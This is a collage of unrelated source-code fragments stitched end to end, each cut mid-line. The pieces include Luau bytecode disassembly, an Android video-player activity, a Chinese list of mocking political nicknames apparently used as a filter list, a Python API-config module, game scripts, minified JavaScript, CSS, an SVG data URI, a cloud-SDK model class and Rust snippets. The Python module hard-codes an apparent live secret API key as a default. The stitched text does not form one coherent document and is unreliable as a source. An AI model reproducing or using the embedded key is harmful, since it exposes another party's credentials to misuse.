ating collision group"]
  NAMECALL R1 R1 K1 ["SetWaypoint"]
  CALL R1 2 0
  GETUPVAL R1 1
  MOVE R3 R0
  NAMECALL R1 R1 K2 ["RegisterCollisionGroup"]
  CALL R1 2 0
  GETUPVAL R1 0
  LOADK R3 K3 ["Created collision group"]
  NAMECALL R1 R1 K1 ["SetWaypoint"]
  CALL R1 2 0
  NEWTABLE R1 0 0
  GETUPVAL R2 2
  CALL R2 0 1
  GETUPVAL R3 3
  MOVE R4 R2
  CALL R3 1 1
  GETIMPORT R4 K5 [plugin]
  LOADK R6 K6 ["Groups"]
  MOVE R7 R2
  NAMECALL R4 R4 K7 ["SetItem"]
  CALL R4 3 0
  GETIMPORT R4 K5 [plugin]
  LOADK R6 K8 ["SelectedGroupIds"]
  MOVE R7 R3
  NAMECALL R4 R4 K7 ["SetItem"]
  CALL R4 3 0
  GETIMPORT R2 K5 [plugin]
  LOADK R4 K9 ["SetStateAndRefresh"]
  MOVE R5 R1
  NAMECALL R2 R2 K10 ["Invoke"]
  CALL R2 3 0
  RETURN R0 0

PROTO_16:
  GETIMPORT R1 K1 [game]
  LOADK R3 K2 ["Selection"]
  NAMECALL R1 R1 K3 ["GetService"]
  CALL R1 2 1
  GETUPVAL R3 0
  MOVE R4 R0
  CALL R3 1 -1
  NAMECALL R1 R1 K4 ["Set"]
  CALL R1 -1 0
  RETURN R0 0

PROTO_17:
  GETUPVAL R1 0
  GETIMPORT R2 K1 [plugin]
  LOADK R4 K2 ["WindowEnabledChanged"]
  DUPCLOSURE R5 K3 [PROTO_10]
  CAPTURE UPVAL U1
  CAPTURE UPVAL U2
  CAPTURE UPVAL U3
  CAPTURE UPVAL U4
  NAMECALL R2 R2 K4 ["OnInvoke"]
  CALL R2 3 -1
  FASTCALL TABLE_INSERT [+2]
  GETIMPORT R0 K7 [table.insert]
  CALL R0 -1 0
  GETUPVAL R1 0
  GETIMPORT R2 K1 [plugin]
  LOADK R4 K8 ["DeleteCollisionGroup"]
  DUPCLOSURE R5 K9 [PROTO_11]
  CAPTURE UPVAL U5
  CAPTURE UPVAL U6
  CAPTURE UPVAL U2
  CAPTURE UPVAL U3
  NAMECALL R2 R2 K4 ["OnInvoke"]
  CALL R2 3 -1
  FASTCALL TABLE_INSERT [+2]
  GETIMPORT R0 K7 [table.insert]
  CALL R0 -1 0
  GETUPVAL R1 0
  GETIMPORT R2 K1 [plugin]
  LOADK R4 K10 ["RenameCollisionGroup"]
  DUPCLOSURE R5 K11 [PROTO_12]
  CAPTURE UPVAL U5
  CAPTURE UPVAL U6
  CAPTURE UPVAL U7
  CAPTURE UPVAL U2
  CAPTURE UPVAL U3
  NAMECALL R2 R2 K4 ["OnInvoke"]
  CALL R2 3 -1
  FASTCALL TABLE_INSERT [+2]
  GETIMPORT R0 K7 [table.insert]
  CALL R0 -1 0
  GETUPVAL R1 0
  GETIMPORT R2 K1 [plugin]
  LOADK R4 K12 ["AddSelectedPartsToCollisionGroup"]
  DUPCLOSURE R5 K13 [PROTO_13]
  CAPTURE UPVAL U5
  CAPTURE UPVAL U8
  CAPTURE UPVAL U2
  CAPTURE UPVAL U3
  NAMECALL R2 R2 K4 ["OnInvoke"]
  CALL R2 3 -1
  FA


�',	'号屎洞'},
{'10979',	'号尿壶公',	'号尿壶公'},
{'10980',	'小学博士',	'小学博士'},
{'10981',	'小学居士',	'小学居士'},
{'10982',	'习尿瓶',	'习尿瓶'},
{'10983',	'virusking',	'virusking'},
{'10984',	'黑白翠',	'黑白翠'},
{'10985',	'独彩者',	'独彩者'},
{'10986',	'裸宽包子劾心',	'裸宽包子劾心'},
{'10987',	'送礼平',	'送礼平'},
{'10988',	'鞋哥',	'鞋哥'},
{'10989',	'食腐虫',	'食腐虫'},
{'10990',	'崇祯帝',	'崇祯帝'},
{'10991',	'民进党北京中南海支部书记',	'民进党北京中南海支部书记'},
{'10992',	'沼气专家',	'沼气专家'},
{'10993',	'初二圣君',	'初二圣君'},
{'10994',	'添宪宝宝',	'添宪宝宝'},
{'10995',	'戴口赵',	'戴口赵'},
{'10996',	'书单吟诵者',	'书单吟诵者'},
{'10997',	'习二世胡亥',	'习二世胡亥'},
{'10998',	'疯狂宇宙大帝',	'疯狂宇宙大帝'},
{'10999',	'习大林',	'习大林'},
{'11000',	'胡志平',	'胡志平'},
{'11001',	'普近',	'普近'},
{'11002',	'习达姆',	'习达姆'},
{'11003',	'卡近菲',	'卡近菲'},
{'11004',	'禁评大帝',	'禁评大帝'},
{'11005',	'倒车帝',	'倒车帝'},
{'11006',	'習敗敗',	'習敗敗'},
{'11007',	'習敗北',	'習敗北'},
{'11008',	'猪禁评',	'猪禁评'},
{'11009',	'宽衣撸绣单肩扛麦光腚拉碾歪脖撒币小学博士帝',	'宽衣撸绣单肩扛麦光腚拉碾歪脖撒币小学博士帝'},
{'11010',	'倒车斯基',	'倒车斯基'},
{'11011',	'读稿机',	'读稿机'},
{'11012',	'习正日',	'习正日'},
{'11013',	'习尔布特',	'习尔布特'},
{'11014',	'习条英机',	'习条英机'},
{'11015',	'习索里尼',	'习索里尼'},
{'11016',	'腊肉馅儿包子',	'腊肉馅儿包子'},
{'


 v) {
        //获取截图
        detailPlayer.taskShotPic(new GSYVideoShotListener() {
            @Override
            public void getBitmap(Bitmap bitmap) {
                if (bitmap != null) {
                    try {
                        CommonUtil.saveBitmap(bitmap);
                    } catch (FileNotFoundException e) {
                        showToast("save fail ");
                        e.printStackTrace();
                        return;
                    }
                    showToast("save success ");
                } else {
                    showToast("get bitmap fail ");
                }
            }
        });

    }

    private void loadCover(ImageView imageView, String url) {

        imageView.setScaleType(ImageView.ScaleType.CENTER_CROP);
        imageView.setImageResource(R.mipmap.xxx1);

        Glide.with(this.getApplicationContext())
                .setDefaultRequestOptions(
                        new RequestOptions()
                                .frame(3000000)
                                .centerCrop()
                                .error(R.mipmap.xxx2)
                                .placeholder(R.mipmap.xxx1))
                .load(url)
                .into(imageView);
    }

    private void resolveNormalVideoUI() {
        //增加title
        detailPlayer.getTitleTextView().setVisibility(View.GONE);
        detailPlayer.getBackButton().setVisibility(View.GONE);
    }

    /**
     * 显示比例
     * 注意，GSYVideoType.setShowType是全局静态生效，除非重启APP。
     */
    private void resolveTypeUI() {
        if (speed == 1) {
            speed = 1.5f;
        } else if (speed == 1.5f) {
            speed = 2f;
        } else if (speed == 2) {
            speed = 0.5f;
        } else if (speed == 0.5f) {
            speed = 0.25f;
        } else if (speed == 0.25f) {
            speed = 1;
        }
        changeSpeed.setText("播放速度：" + speed);
        detailPlayer.setSpeedPlaying(speed, true);
    }

    private void showToast(final String tip) {
        detailPlayer.post(new Runnable() {
            @Override
            public void run() {
                Toast.makeText(DetailControlActivity.this, tip, Toast.LENGTH_LONG).show();
            }
        });
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        // NOTE: delegate the permission handling to generated method
        DetailControlActivityPermissionsDispatcher.onRequestPermissionsResult(this, requestCode, grantResults);
    }

}
/*
 * Copyright (C) 2016 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.example.gsyvideoplayer.source;

import com.google.android.exoplayer2.upstream.HttpDataSource;
import com.google.android.exoplayer2.upstream.HttpDataSource.BaseFactory;
import com.google.android.exoplayer2.upstream.HttpDataSource.Factory;
import com.google.android.exoplayer2.upstream.


# -*- coding: utf-8 -*-
"""
统一的配置管理模块
整合所有AI生成和视频处理相关的配置
"""

import os
import json
from typing import Dict, Any, Optional, List
from pathlib import Path
from core.utils.env_config import get_dashscope_api_key

class APIConfig:
    """
API配置管理类
    """

    # API服务配置
    _API_SERVICES = {
        # DashScope/百炼API
        'dashscope': {
            'base_url': 'https://dashscope.aliyuncs.com/api/v1',
            'api_key_env': 'DASHSCOPE_API_KEY',
            'timeout': 300,
            'retry_count': 3,
        },

        # Coze工作流API
        'coze': {
            'base_url': 'https://api.coze.cn',
            'api_key_env': 'COZE_API_TOKEN',
            'timeout': 180,
            'retry_count': 2,
        },

        # OSS存储配置
        'oss': {
            'endpoint': 'oss-cn-hangzhou.aliyuncs.com',
            'access_key_env': 'OSS_ACCESS_KEY_ID',
            'secret_key_env': 'OSS_ACCESS_KEY_SECRET',
            'bucket_name': 'lan8-e-business',
        },
    }

    @classmethod
    def get_api_key(cls, service: str) -> str:
        """获取API密钥"""
        if service == 'dashscope':
            # 优先使用环境变量
            api_key = os.environ.get('DASHSCOPE_API_KEY')
            if api_key:
                return api_key

            # 其次使用文件
            try:
                return get_dashscope_api_key()
            except:
                pass

            # 最后使用默认值
            return 'sk-a48a1d84e015410292d07021f60b9acb'

        elif service == 'coze':
            # Coze API使用doubaoconfigs
            try:
                from doubaoconfigs import coze_api_token
                return coze_api_token
            except ImportError:
                return os.environ.get('COZE_API_TOKEN', '')

        elif service in cls._API_SERVICES:
            config = cls._API_SERVICES[service]
            return os.environ.get(config.get('api_key_env', ''), '')

        else:
            raise ValueError(f"不支持的API服务: {service}")

    @classmethod
    def get_service_config(cls, service: str) -> Dict[str, Any]:
        """获取服务配置"""
        if service not in cls._API_SERVICES:
            raise ValueError(f"不支持的API服务: {service}")

        config = cls._API_SERVICES[service].copy()

        # 添加API密钥
        config['api_key'] = cls.get_api_key(service)

        return config

    @classmethod
    def get_oss_config(cls) -> Dict[str, str]:
        """获取OSS配置"""
        oss_config = cls._API_SERVICES['oss']

        return {
            'endpoint': os.environ.get('OSS_ENDPOINT', oss_config['endpoint']),
            'access_key_id': os.environ.get('OSS_ACCESS_KEY_ID', ''),
            'access_key_secret': os.environ.get('OSS_ACCESS_KEY_SECRET', ''),
            'bucket_name': os.environ.get('OSS_BUCKET_NAME', oss_config['bucket_name']),
        }

class WorkflowConfig:
    """工作流配置管理类"""

    # Coze工作流ID配置
    _WORKFLOW_IDS = {
        'advertisement': '7499113029830049819',
        'advertisement_enhance': '7499113029830049819',  # 用同一个工作流
        'big_word': '7502316696242929674',
        'catmeme': '7499113029830049822',
        'clicktype': '7499113029830049820',
        'incitement': '7499113029830049823',
        'introduction': '7499113029830049824',
        'sinology': '7499113029830049825',
        'stickman': '7499113029830049826',
        'clothes_scene': '7494924152006295571',
        'clothes_fast_change': '7494924152006295571',  # 用同一个工作流
        'cover_analysis': '7499113029830049828',
        'ppt': '7499113029830049827',
        'digital_human': '7494924152006295571',
        'dgh_img_insert': '7499113029830049819',  # 示例ID
    }

    # 工作流参数模板
    _WORKFLOW_PARAMS = {
        'advertisement': {
            'required': ['company_name', 'service', 'topic'],
            'optional': ['content', 'need_change'],
            'defaults': {'need_change': False}
        },

        'big_word': {
            'required': ['company_name', 'title', 'product', 'description'],
            'optional': ['content'],
            'defaults': {}
        },

        'catmeme': {
            'required': ['author', 'title'],
            'optional': ['content'],
            'defaults': {}
        },

        'clicktype': {
            'required': ['title'],
            'optional': ['content'],
            'defaults': {}
        },

        'incitement': {
            'required': ['title'],


namespace Silky.Rpc.Diagnostics
{
    public class RpcDiagnosticListenerNames
    {
        private const string RpcPrefix = "Silky.Rpc.";

        public const string DiagnosticClientListenerName = "DiagnosticClientListener";

        public const string DiagnosticServerListenerName = "DiagnosticServerListener";

        public const string DiagnosticFallbackListenerName = "DiagnosticFallbackListenerName";

        public const string BeginRpcRequest = RpcPrefix + "WriteBeginRpcRequest";
        public const string EndRpcRequest = RpcPrefix + "WriteEndRpcRequest";
        public const string ErrorRpcRequest = RpcPrefix +


.character].join(',');
        }

        // 返回空
        return '';
    },

    /* 当前选择的区域列表 */
    selectedLocationList(): string {
        const selections = this.selections();

        // 存在选项
        if (selections && selections.length) {
            return selections.map(sl => [sl.start.line + 1, sl.start.character, sl.anchor.line + 1, sl.end.character].join(',')).join(' ');
        }

        // 返回空
        return '';
    },

    /* 当前工作目录 */
    workspaceFolder(): string {
        const workspace = this.workspace();
        const document = this.document();
        const workspaceFolder = (
            document ?
            workspace.getWorkspaceFolder(document.uri) :
            workspace.workspaceFolders ?
            workspace.workspaceFolders[0] :
            undefined
        );

        // 返回结果
        return workspaceFolder ? workspaceFolder.uri.fsPath : '';
    },

    /* 当前工作目录文件夹名称 */
    workspaceFolderBasename(): string {
        return this.workspaceFolder() && path.basename(this.workspaceFolder());
    },

    /* 系统用户目录 */
    homedir(): string {
        return os.homedir();
    },

    /* 系统临时目录 */
    tmpdir(): string {
        return os.tmpdir();
    },

    /* 系统平台 */
    platform(): string {
        return os.platform();
    },

    /* 命令集 */
    commands(): Record<string, string> {
        return {
            ...this.config().get('command-runner.commands'),
            ...this.package()['commands'] as object,
        };
    },
});
import BasePanel from '../base/BasePanel';
const {ccclass, property} = cc._decorator;

@ccclass
export default class TipPanel extends BasePanel {
    @property(cc.RichText)
    tipText: cc.RichText = null;
    @property(cc.Label)
    title: cc.Label = null;

    @property(cc.Node)
    yesBtnNode:cc.Node = null;
    @property(cc.Node)
    noBtnNode:cc.Node = null;

    // @property([cc.SpriteFrame])
    // btnFrames:cc.SpriteFrame[]= [];

    CallFunConfirm = null;
    CallFunCancel = null;
    // LIFE-CYCLE CALLBACKS:

    onLoad () {
        super.onLoad();
    }
    onEnable(){
        super.onEnable();

    }

    //注意：如果msg是object，则必须有content属性
    show(msg:string|object,callFunConfirm:Function = null,callFunCancel:Function = null){
        this.initDetail(msg);

        this.CallFunConfirm = callFunConfirm;
        this.CallFunCancel = callFunCancel;
    }

    private initDetail(args){
        this.tipText.string = '<color=#855627>'+ (args.content||args)+'</c>';
        this.title.string = args.title||'提示';
        //是否是确认框（只有一个确定按钮）
        if (args.isConfirm) {
            this.noBtnNode.active = false;
            this.yesBtnNode.x = 0;
        }else{
            this.noBtnNode.active = true;
            this.yesBtnNode.x = 140;
            this.noBtnNode.x = -140;
        }

        // if (args.isVideo) {
        //     //是否是看广告的确认框
        //     this.yesBtnNode.getComponent(cc.Sprite).spriteFrame = this.btnFrames[1];
        // } else {
        //     this.yesBtnNode.getComponent(cc.Sprite).spriteFrame = this.btnFrames[0];
        // }


fightBaseMissile,isBoomType:boolean,isPlane:boolean = false) {
		let index = this.nowLiveMissile.indexOf(missile);

		// TODO 删除子弹 播放特效
		// TODO 暂时没有做对象池
		console.log("missile.getRealPoi()",missile.getRealPoi())

		// 如果碰撞的位置能够爆炸 形成爆炸效果 挖出弹坑
		if(isBoomType){
	        emitter.emit(fightEvent.colliderSettle,{
	        	// 爆炸范围
	        	ellipseRange:missile.ellipseRange,
	        	// 导弹类型 加血还是扣血
	        	missileBuffType:missile.missileBuffType,
	        	// 威力
	        	power:missile.power,
	        	// 爆炸的点位
	        	realPoi:missile.getRealPoi(),
	        	// 是否是飞机
	        	isPlane:isPlane,
	        	// 导弹所属玩家
	        	seatId:missile.seatId
	        });
	    // 如果使用飞机的话
		}else if(isPlane){
			emitter.emit(fightEvent.colliderSettle,{
	        	// 爆炸的点位
	        	realPoi:missile.getRealPoi(),
	        	// 是否是飞机
	        	isPlane:isPlane,
	        	// 导弹所属玩家
	        	seatId:missile.seatId
	        });
		}
		if(index !== -1){
			this.nowLiveMissile.splice(index,1);
		}
		missile.node.destroy();
	}

	// 池子里的子弹用完了
	spown(hasTeturn) {
		// let node = cc.instantiate(this.prefabObj);
		// let missileScript = node.getComponent(cc.baseNet);
		// missileScript.setBase(
		// 	this.fatherNode,
		// 	this.dead.bind(this),
		// 	this.emitter);
		// if (hasTeturn) {
		// 	return node;
		// } else {
		// 	this.missilepool.put(node);
		// }
		// return null;
	}

}export declare type OriginTracingWithIdGenerated = {
    originIdGenerated: string;
    originProduct: string;
};
export declare type OriginTracingForSubSequentEvents = {
    originId: string;
    originProduct: string;
};
export declare type OriginAnalyticAttributes = {
    hasGeneratedId: boolean;
};
export declare type OriginTracing = {
    id: string;
    addToUrl: (link: string) => string;
    toAnalyticsAttributes: (attrs: OriginAnalyticAttributes) => OriginTracingWithIdGenerated | OriginTracingForSubSequentEvents;
};
export declare type OriginTracingFactory = () => OriginTracing;
import { Point } from 'types';

export function clamp(val: number, min: number, max: number) {
    return Math.max(Math.min(val, max), min);
}

export function isBetween(val: number, a: number, b: number) {
    return (a <= val && val <= b) || (b <= val && val <= a);
}

export function flipCoin() {
    return Math.floor(Math.random() * 2) === 1;
}

export function rollDie(max: number) {
    return Math.floor(Math.random() * Math.floor(max));
}

export function selectRandomlyFromList<T>(list: T[]) {
    const randomValue = rollDie(list.length);
    return { value: list[randomValue], index: randomValue };
}

export function computeAngle(p1: Point, p2: Point): number {
    const dx = p2.x - p1.x;
    const dy = p2.y - p1.y;
    const angle = (Math.atan2(dy, dx) * 180) / Math.PI;
    if (angle < 0) return angle + 360;
    return angle;
}

export function computeDistance(p1: Point, p2: Point):


=t.vertexes.iterator;for(;i.next();){const e=i.value;if(e.ne){let s=!0;const n=e.destinationEdges;for(;n.next();)if(n.value.toVertex.ne){s=!1;break}if(s)return e}}return null}kD(t){const i=t.vertexes.iterator;for(;i.next();){const e=i.value;if(e.ne){let s=!0;const n=e.sourceEdges;for(;n.next();)if(n.value.fromVertex.ne){s=!1;break}if(s)return e}}return null}k3(t){let i=null,e=0;const s=this.network.vertexes.iterator;for(;s.next();){const n=s.value;if(n.ne){let o=0;const r=n.destinationEdges;for(;r.next();)r.value.toVertex.ne&&o++;let l=0;const h=n.sourceEdges;for(;h.next();)h.value.fromVertex.ne&&l++;(i===null||e<o-l)&&(i=n,e=o-l)}}return i}w3(){const t=this.network.vertexes.iterator;for(;t.next();){const e=t.value;e.hu=-1,e.io=-1}const i=this.network.edges.iterator;for(;i.next();){const e=i.value;e.forest=!1}for(this.Ig=0,t.reset();t.next();){const e=t.value;e.sourceEdges.count===0&&this._N(e)}for(t.reset();t.next();){const e=t.value;e.hu===-1&&this._N(e)}for(i.reset();i.next();){const e=i.value;if(!e.forest){const s=e.fromVertex,n=s.hu,o=s.io,r=e.toVertex,l=r.hu,h=r.io;l<n&&o<h&&(this.network.reverseEdge(e),e.rev=!0)}}}_N(t){t.hu=this.Ig,this.Ig++;const i=t.destinationEdges;for(;i.next();){const e=i.value,s=e.toVertex;s.hu===-1&&(e.forest=!0,this._N(s))}t.io=this.Ig,this.Ig++}u3(){const t=this.network.vertexes.iterator;for(;t.next();){const i=t.value;i.layer=-1}for(this.Dt=-1,this.assignLayers(),t.reset();t.next();){const i=t.value;this.Dt=Math.max(this.Dt,i.layer)}}assignLayers(){switch(this.su){case 11:this.SD();break;case 12:this.S3();break;default:case 10:this.M3();break}}SD(){const t=this.network.vertexes.iterator;for(;t.next();){const i=t.value,e=this.MD(i);this.Dt=Math.max(e,this.Dt)}}MD(t){let i=0;if(t.layer===-1){const e=t.destinationEdges;for(;e.next();){const s=e.value,n=s.toVertex,o=this.linkMinLength(s);i=Math.max(i,this.MD(n)+o)}t.layer=i}else i=t.layer;return i}S3(){let t=0;const i=this.network.vertexes.iterator;for(;i.next();){const e=i.value;t=this.PD(e),this.Dt=Math.max(t,this.Dt


71%"]:after { right: -67.94px }
.pace .pace-progress[data-progress-text="72%"]:after { right: -66.08px }
.pace .pace-progress[data-progress-text="73%"]:after { right: -64.22px }
.pace .pace-progress[data-progress-text="74%"]:after { right: -62.36px }
.pace .pace-progress[data-progress-text="75%"]:after { right: -60.5px }
.pace .pace-progress[data-progress-text="76%"]:after { right: -58.64px }
.pace .pace-progress[data-progress-text="77%"]:after { right: -56.78px }
.pace .pace-progress[data-progress-text="78%"]:after { right: -54.92px }
.pace .pace-progress[data-progress-text="79%"]:after { right: -53.06px }
.pace .pace-progress[data-progress-text="80%"]:after { right: -51.2px }
.pace .pace-progress[data-progress-text="81%"]:after { right: -49.34px }
.pace .pace-progress[data-progress-text="82%"]:after { right: -47.480000000000004px }
.pace .pace-progress[data-progress-text="83%"]:after { right: -45.62px }
.pace .pace-progress[data-progress-text="84%"]:after { right: -43.76px }
.pace .pace-progress[data-progress-text="85%"]:after { right: -41.9px }
.pace .pace-progress[data-progress-text="86%"]:after { right: -40.04px }
.pace .pace-progress[data-progress-text="87%"]:after { right: -38.18px }
.pace .pace-progress[data-progress-text="88%"]:after { right: -36.32px }
.pace .pace-progress[data-progress-text="89%"]:after { right: -34.46px }
.pace .pace-progress[data-progress-text="90%"]:after { right: -32.6px }
.pace .pace-progress[data-progress-text="91%"]:after { right: -30.740000000000002px }
.pace .pace-progress[data-progress-text="92%"]:after { right: -28.880000000000003px }
.pace .pace-progress[data-progress-text="93%"]:after { right: -27.02px }
.pace .pace-progress[data-progress-text="94%"]:after { right: -25.16px }
.pace .pace-progress[data-progress-text="95%"]:after { right: -23.3px }
.pace .pace-progress[data-progress-text="96%"]:after { right: -21.439999999999998px }
.pace .pace-progress[data-progress-text="97%"]:after { right: -19.58px }
.pace .pace-progress[data-progress-text="98%"]:after { right: -17.72px }
.pace .pace-progress[data-progress-text="99%"]:after { right: -15.86px }
.pace .pace-progress[data-progress-text="100%"]:after { right: -14px }

.pace .pace-activity {
  position: absolute;
  width: 100%;
  height: 28px;
  z-index: 2001;
  box-shadow: inset 0 0 0 2px #d6d6d6, inset 0 0 0 7px #FFF;
  border-radius: 10px;
}

.pace.pace-inactive {
  display: none;
}
/*!
 * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com
 * License - https://


-14c-.55 0-1-.45-1-1V20c0-.55.45-1 1-1h14zm-13 2v12h12V21h-12zm4 10h-2v-5h2v5zm3 0h-2v-8h2v8zm3 0h-2v-4h2v4z' fill='%23000'/%3E%3Cpath stroke='%23000' d='M198.5 21.5h15v12h-15z'/%3E%3Cpath fill='%23000' fill-rule='nonzero' d='M203 26h1v7h-1z'/%3E%3Cpath fill='%23D8D8D8' fill-rule='nonzero' d='M199 22h14v3h-14z'/%3E%3Cpath d='M199 25h14v1h-14v-1zm0 4h14v1h-14v-1z' fill='%23000' fill-rule='nonzero'/%3E%3Cpath d='M219 25.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5zm10 0c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5zm-5 0c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5zM243 26v-4h-2v4h-4v2h4v4h2v-4h4v-2zM1 38v14h14V38H1zm6 12H3v-4h4v4zm0-6H3v-4h4v4zm6 6H9v-4h4v4zm0-6H9v-4h4v4z' fill='%23000'/%3E%3Cg fill='%23000'%3E%3Cpath d='M19 52h2v-2h-2v2zm2-11h-2v2h2v-2zm1 11h2v-2h-2v2zm8-14h-2v2h2v-2zm-9 0h-2v2h2v-2zm3 0h-2v2h2v-2zm-5 11h2v-2h-2v2zm9 3h2v-2h-2v2zm3-14v2h2v-2h-2zm0 5h2v-2h-2v2zm0 9h2v-2h-2v2zm0-3h2v-2h-2v2z' opacity='.54'/%3E%3Cpath d='M27 38h-2v6h-6v2h6v6h2v-6h6v-2h-6z'/%3E%3C/g%3E%3Cg fill='%23000'%3E%3Cpath d='M43 52h2v-2h-2v2zm-3-12h2v-2h-2v2zm3 9h2v-2h-2v2zm-3 3h2v-2h-2v2zm-3-9h2v-2h-2v2zm0 9h2v-2h-2v2zm0-12h2v-2h-2v2zm0 9h2v-2h-2v2zm12 0h2v-2h-2v2zm0 3h2v-2h-2v2zm0-9h2v-2h-2v2zm0-5v2h2v-2h-2zm-6 2h2v-2h-2v2zm3 0h2v-2h-2v2zm-3 3


  self._SearchUsage = None
        self._ModelName = None
        self._CallType = None
        self._UinAccount = None
        self._AppName = None
        self._PageUsage = None
        self._SubScene = None

    @property
    def Id(self):
        """关联ID
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: str
        """
        return self._Id

    @Id.setter
    def Id(self, Id):
        self._Id = Id

    @property
    def CallTime(self):
        """调用时间
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: str
        """
        return self._CallTime

    @CallTime.setter
    def CallTime(self, CallTime):
        self._CallTime = CallTime

    @property
    def TotalTokenUsage(self):
        """总token消耗
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: float
        """
        return self._TotalTokenUsage

    @TotalTokenUsage.setter
    def TotalTokenUsage(self, TotalTokenUsage):
        self._TotalTokenUsage = TotalTokenUsage

    @property
    def InputTokenUsage(self):
        """输入token消耗
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: float
        """
        return self._InputTokenUsage

    @InputTokenUsage.setter
    def InputTokenUsage(self, InputTokenUsage):
        self._InputTokenUsage = InputTokenUsage

    @property
    def OutputTokenUsage(self):
        """输出token消耗
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: float
        """
        return self._OutputTokenUsage

    @OutputTokenUsage.setter
    def OutputTokenUsage(self, OutputTokenUsage):
        self._OutputTokenUsage = OutputTokenUsage

    @property
    def SearchUsage(self):
        """搜索服务调用次数
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: int
        """
        return self._SearchUsage

    @SearchUsage.setter
    def SearchUsage(self, SearchUsage):
        self._SearchUsage = SearchUsage

    @property
    def ModelName(self):
        """模型名称
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: str
        """
        return self._ModelName

    @ModelName.setter
    def ModelName(self, ModelName):
        self._ModelName = ModelName

    @property
    def CallType(self):
        """调用类型
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: str
        """
        return self._CallType

    @CallType.setter
    def CallType(self, CallType):
        self._CallType = CallType

    @property
    def UinAccount(self):
        """账号
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: str
        """
        return self._UinAccount

    @UinAccount.setter
    def UinAccount(self, UinAccount):
        self._UinAccount = UinAccount

    @property
    def AppName(self):
        """应用名称
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: str
        """
        return self._AppName

    @AppName.setter
    def AppName(self, AppName):
        self._AppName = AppName

    @property
    def PageUsage(self):
        """总消耗页数
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: int
        """
        return self._PageUsage

    @PageUsage.setter
    def PageUsage(self, PageUsage):
        self._PageUsage = PageUsage

    @property
    def SubScene(self):
        """筛选子场景
注意：此字段可能返回 null，表示取不到有效值。
        :rtype: str
        """
        return self._SubScene

    @SubScene.setter
    def SubScene(self, SubScene):
        self._SubScene = SubScene

    def _deserialize(self, params):
        self._Id = params.get("Id")
        self._CallTime = params.get("CallTime")
        self._TotalTokenUsage = params.get("TotalTokenUsage")
        self._InputTokenUsage = params.get("InputTokenUsage")
        self._OutputTokenUsage = params.get("OutputTokenUsage")
        self._SearchUsage = params.get("SearchUsage")
        self._ModelName = params.get("ModelName")
        self._CallType = params.get("CallType")
        self._UinAccount = params.get("UinAccount")
        self._AppName = params.get("AppName")
        self._PageUsage = params.get("PageUsage")
        self._SubScene = params.get("SubScene")
        memeber_set = set(params.keys())
        for name, value in vars(self).items():
            property_name = name[1:]
            if property_name in memeber_set:
                memeber_set.remove(property_name)
        if len(memeber_set) > 0:
            warnings.warn("%s fileds are useless." % ",".join(memeber_set))

class CateInfo(AbstractModel):
    """分类信息

    """

    def __init__(self):
        r"""
        :param _CateBizId: 分类ID
注意：此字段可能返回 null，表示取不到有效值。
        :type CateBizId: str
        :param _Name: 分类名称

注意：此字段可能返回 null，表示取不到有效值。
        :type Name: str
        :param _Total: 分类下的Record（如文档、同义词等）数量
注意：此字段可能返回 null，表


 {:?}", vm_args);
    println!("App name: {}", app_name);

    if app_name.is_empty() {
        panic!("Usage: ")
    }

    // let matches = App::new("Rust-JVM")
    //     .version("0.1")
    //     .author("<NAME>. <<EMAIL>>")
    //     .about("JVM implemented in Rust")
    //     .arg(
    //         Arg::with_name("v")
    //             .short("v")
    //             .multiple(true)
    //             .help("Sets the level of verbosity"),
    //     )
    //     .subcommand(
    //         SubCommand::with_name("test")
    //             .about("controls testing features")
    //             .version("1.3")
    //             .author("<NAME>. <<EMAIL>>")
    //             .arg(
    //                 Arg::with_name("debug")
    //                     .short("d")
    //                     .help("print debug information verbosely"),
    //             ),
    //     )
    //     .get_matches();

    // // Gets a value for config if supplied by user, or defaults to "default.conf"
    // //    let config = matches.value_of("config").unwrap_or("default.conf");
    // //    println!("Value for config: {}", config);

    // // Calling .unwrap() is safe here because "INPUT" is required (if "INPUT" wasn't
    // // required we could have used an 'if let' to conditionally get the value)
    // //    println!("Using input file: {}", matches.value_of("INPUT").unwrap());

    // // Vary the output based on how many times the user used the "verbose" flag
    // // (i.e. 'myprog -v -v -v' or 'myprog -vvv' vs 'myprog -v'
    // match matches.occurrences_of("v") {
    //     0 => println!("No verbose info"),
    //     1 => println!("Some verbose info"),
    //     2 => println!("Tons of verbose info"),
    //     3 | _ => println!("Don't be crazy"),
    // }

    // // You can handle information about subcommands by requesting their matches by name
    // // (as below), requesting just the name used, or both at the same time
    // if let Some(matches) = matches.subcommand_matches("test") {
    //     if matches.is_present("debug") {
    //         println!("Printing debug info...");
    //     } else {
    //         println!("Printing normally...");
    //     }
    // }

    // more program logic goes here...
}
<gh_stars>0
use js_canvas_rendering_context_2d::*;

fn main(){
// Big M
  draw();
}

#[no_mangle]
pub extern "C" fn draw(){
   CanvasRenderingContext2D::set_shadow_color_rgba(255, 0, 0, 204);
   CanvasRenderingContext2D::set_shadow_blur(8);
   CanvasRenderingContext2D::set_shadow_offset_x(30);
